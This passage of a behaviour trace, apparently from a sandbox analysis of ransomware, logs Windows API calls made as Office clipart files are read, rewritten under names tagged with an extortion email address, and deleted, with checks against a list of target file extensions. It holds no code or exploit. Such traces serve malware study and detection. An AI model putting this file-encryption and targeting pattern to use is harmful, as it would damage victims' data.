Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0051.728] GetLastError () returned 0x0 [0051.728] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x30c2, lpOverlapped=0x0) returned 1 [0051.730] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x30d0, lpOverlapped=0x0) returned 1 [0051.731] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.731] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.732] SetEndOfFile (hFile=0x210) returned 1 [0051.732] CloseHandle (hObject=0x210) returned 1 [0051.732] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.732] SetEndOfFile (hFile=0x20c) returned 1 [0051.733] CloseHandle (hObject=0x20c) returned 1 [0051.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0051.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0051.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0051.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0051.733] lstrlenW (lpString=".doc") returned 4 [0051.733] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.733] lstrlenW (lpString=".docx") returned 5 [0051.733] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.733] lstrlenW (lpString=".pdf") returned 4 [0051.733] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.733] lstrlenW (lpString=".xls") returned 4 [0051.733] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.733] lstrlenW (lpString=".xlsx") returned 5 [0051.733] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.733] lstrlenW (lpString=".ppt") returned 4 [0051.733] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0051.733] lstrlenW (lpString=".zip") returned 4 [0051.733] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.734] lstrlenW (lpString=".rar") returned 4 [0051.734] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.734] lstrlenW (lpString=".bz2") returned 4 [0051.734] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.734] lstrlenW (lpString=".7z") returned 3 [0051.734] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0051.734] lstrlenW (lpString=".dbf") returned 4 [0051.734] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0051.734] lstrlenW (lpString=".1cd") returned 4 [0051.734] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0051.734] lstrlenW (lpString=".jpg") returned 4 [0051.734] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.734] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=5253) returned 1 [0051.734] CloseHandle (hObject=0x20c) returned 1 [0051.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 0x20 [0051.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0051.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0051.737] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.737] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0051.737] GetLastError () returned 0x0 [0051.737] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x1485, lpOverlapped=0x0) returned 1 [0051.739] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x1490, lpOverlapped=0x0) returned 1 [0051.742] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.742] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.742] SetEndOfFile (hFile=0x210) returned 1 [0051.743] CloseHandle (hObject=0x210) returned 1 [0051.743] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.743] SetEndOfFile (hFile=0x20c) returned 1 [0051.743] CloseHandle (hObject=0x20c) returned 1 [0051.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0051.744] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0051.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0051.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0051.744] lstrlenW (lpString=".doc") returned 4 [0051.744] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.744] lstrlenW (lpString=".docx") returned 5 [0051.744] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.744] lstrlenW (lpString=".pdf") returned 4 [0051.744] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.744] lstrlenW (lpString=".xls") returned 4 [0051.744] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.744] lstrlenW (lpString=".xlsx") returned 5 [0051.744] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.744] lstrlenW (lpString=".ppt") returned 4 [0051.744] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0051.744] lstrlenW (lpString=".zip") returned 4 [0051.744] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.744] lstrlenW (lpString=".rar") returned 4 [0051.744] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.744] lstrlenW (lpString=".bz2") returned 4 [0051.744] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.744] lstrlenW (lpString=".7z") returned 3 [0051.745] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0051.745] lstrlenW (lpString=".dbf") returned 4 [0051.745] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0051.745] lstrlenW (lpString=".1cd") returned 4 [0051.745] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0051.745] lstrlenW (lpString=".jpg") returned 4 [0051.745] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.746] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=2596) returned 1 [0051.746] CloseHandle (hObject=0x20c) returned 1 [0051.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 0x20 [0051.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0051.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0051.747] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.747] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0051.747] GetLastError () returned 0x0 [0051.747] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0xa24, lpOverlapped=0x0) returned 1 [0051.749] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xa30, lpOverlapped=0x0) returned 1 [0051.751] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.751] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.751] SetEndOfFile (hFile=0x210) returned 1 [0051.751] CloseHandle (hObject=0x210) returned 1 [0051.751] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.751] SetEndOfFile (hFile=0x20c) returned 1 [0051.752] CloseHandle (hObject=0x20c) returned 1 [0051.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0051.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 1 [0051.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0051.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0051.753] lstrlenW (lpString=".doc") returned 4 [0051.753] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.753] lstrlenW (lpString=".docx") returned 5 [0051.753] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.753] lstrlenW (lpString=".pdf") returned 4 [0051.753] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.753] lstrlenW (lpString=".xls") returned 4 [0051.753] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.754] lstrlenW (lpString=".xlsx") returned 5 [0051.754] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.754] lstrlenW (lpString=".ppt") returned 4 [0051.754] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0051.754] lstrlenW (lpString=".zip") returned 4 [0051.754] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.754] lstrlenW (lpString=".rar") returned 4 [0051.754] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.754] lstrlenW (lpString=".bz2") returned 4 [0051.754] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.754] lstrlenW (lpString=".7z") returned 3 [0051.754] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0051.754] lstrlenW (lpString=".dbf") returned 4 [0051.754] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0051.754] lstrlenW (lpString=".1cd") returned 4 [0051.754] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0051.754] lstrlenW (lpString=".jpg") returned 4 [0051.754] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.755] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=10607) returned 1 [0051.755] CloseHandle (hObject=0x20c) returned 1 [0051.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 0x20 [0051.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0051.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0051.755] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.755] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0051.756] GetLastError () returned 0x0 [0051.756] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x296f, lpOverlapped=0x0) returned 1 [0052.155] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x2970, lpOverlapped=0x0) returned 1 [0052.176] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.176] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.176] SetEndOfFile (hFile=0x210) returned 1 [0052.176] CloseHandle (hObject=0x210) returned 1 [0052.176] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.176] SetEndOfFile (hFile=0x20c) returned 1 [0052.177] CloseHandle (hObject=0x20c) returned 1 [0052.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.178] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 1 [0052.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0052.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0052.178] lstrlenW (lpString=".doc") returned 4 [0052.178] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.178] lstrlenW (lpString=".docx") returned 5 [0052.178] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0052.178] lstrlenW (lpString=".pdf") returned 4 [0052.178] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.178] lstrlenW (lpString=".xls") returned 4 [0052.178] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.178] lstrlenW (lpString=".xlsx") returned 5 [0052.178] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0052.178] lstrlenW (lpString=".ppt") returned 4 [0052.178] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0052.178] lstrlenW (lpString=".zip") returned 4 [0052.178] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.178] lstrlenW (lpString=".rar") returned 4 [0052.178] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.178] lstrlenW (lpString=".bz2") returned 4 [0052.178] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.178] lstrlenW (lpString=".7z") returned 3 [0052.178] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0052.178] lstrlenW (lpString=".dbf") returned 4 [0052.178] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0052.179] lstrlenW (lpString=".1cd") returned 4 [0052.179] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0052.179] lstrlenW (lpString=".jpg") returned 4 [0052.179] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.179] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=4734) returned 1 [0052.179] CloseHandle (hObject=0x20c) returned 1 [0052.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 0x20 [0052.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0052.179] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.179] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0052.180] GetLastError () returned 0x0 [0052.180] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x127e, lpOverlapped=0x0) returned 1 [0052.181] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x1280, lpOverlapped=0x0) returned 1 [0052.182] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.182] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.182] SetEndOfFile (hFile=0x210) returned 1 [0052.182] CloseHandle (hObject=0x210) returned 1 [0052.182] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.182] SetEndOfFile (hFile=0x20c) returned 1 [0052.183] CloseHandle (hObject=0x20c) returned 1 [0052.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0052.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0052.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0052.184] lstrlenW (lpString=".doc") returned 4 [0052.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.184] lstrlenW (lpString=".docx") returned 5 [0052.184] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.184] lstrlenW (lpString=".pdf") returned 4 [0052.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.184] lstrlenW (lpString=".xls") returned 4 [0052.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.184] lstrlenW (lpString=".xlsx") returned 5 [0052.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.184] lstrlenW (lpString=".ppt") returned 4 [0052.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0052.184] lstrlenW (lpString=".zip") returned 4 [0052.184] lstrcmpiW (lpString1=".zip", 